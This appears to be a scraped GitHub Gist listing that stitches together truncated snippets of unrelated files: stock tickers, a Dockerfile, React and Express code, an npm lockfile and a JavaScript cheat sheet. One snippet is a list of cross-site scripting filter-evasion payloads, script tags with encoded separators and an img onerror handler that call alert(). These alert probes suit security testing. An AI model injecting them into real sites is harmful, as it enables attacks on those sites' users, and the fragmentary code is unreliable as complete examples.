KTOS;GEV;PLTR;VERI;AVGO;CHKP;SMCI;ASTS;CAMT;OKLO;QBTS;QUBT;MU;CRWV;
TSM;KTOS;GEV;PLTR;MSFT;CHKP;SMCI;ASTS;CAMT;VERI;OKLO;QBTS;QUBT;MU;CRWV;
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script\x20type="text/javascript">javascript:alert(0);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(2);</script> | |
<script\x09type="text/javascript">javascript:alert(3);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(4);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(5);</script> | |
<script\x0Atype="text/javascript">javascript:alert(6);</script> | |
'`"><\x3Cscript>javascript:alert(7)</script> | |
'`"><\x00script>javascript:alert(8)</script> | |
<img src=1 href=1 onerror="javascript:alert(9)"></img> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script> | |
const tags = ["a", "abbr", "address", "area", "article", "aside", "audio", "b", "base", "bdi", "bdo", "blockquote", "body", "br", "button", "canvas", "caption", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "footer", "form", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "main", "map", "mark", "math", "menu", "menuitem", "meta", "meter", "nav", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "slot", "small", "source", "span", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "u", "ul", "var", "video", "wbr"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# stream oriented kurento | |
# | |
# VERSION 4.4.3 | |
FROM ubuntu:14.04 | |
MAINTAINER Patxi Gortázar <patxi.gortazar@gmail.com> | |
RUN apt-get update \ | |
&& apt-get -y dist-upgrade \ | |
&& apt-get install -y wget |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { Component, PropTypes } from 'react' | |
class CoinbaseWidget extends Component { | |
constructor (props) { | |
super(props) | |
this.onMessage = this.onMessage.bind(this) | |
} | |
componentDidMount () { | |
window.addEventListener('message', this.onMessage, false) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const request = require("request"); | |
const express = require("express"); | |
const util = require("util"); | |
const app = express(); | |
const requestPromise = util.promisify(request); | |
const timeoutPromise = util.promisify(setTimeout); | |
const getImgUrl = function(hostname, comicId, cb) { | |
request(`https://${hostname}/${comicId}/info.0.json`, function(err, resp, body) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "kurento-hello-world", | |
"version": "6.6.1", | |
"lockfileVersion": 1, | |
"requires": true, | |
"dependencies": { | |
"bower": { | |
"version": "1.8.2", | |
"resolved": "https://registry.npmjs.org/bower/-/bower-1.8.2.tgz", | |
"integrity": "sha1-rfU1KcjUrwLvJPuNU0HBQZ0z4vc=", |
Just migrated it from Codepen.io to markdown. Credit goes to David Conner.
Working with DOM | Working with JS | Working With Functions |
---|---|---|
Accessing Dom Elements | Add/Remove Array Item | Add Default Arguments to Function |
Grab Children/Parent Node(s) | Add/Remove Object Properties | Throttle/Debounce Functions |
Create DOM Elements | Conditionals |
Say we have a prop.users of the shape:
const users = [
{username: 'bob', age: 30, tags: [{name: 'work', id: 1}, {name: 'boring', id: 2}]},
{username: 'jim', age: 25, tags: [{name: 'home', id: 3}, {name: 'fun', id: 4}]},
{username: 'jane', age: 30, tags: [{name: 'vacation', id: 5}, {name: 'fun', id: 4}]}
];
NewerOlder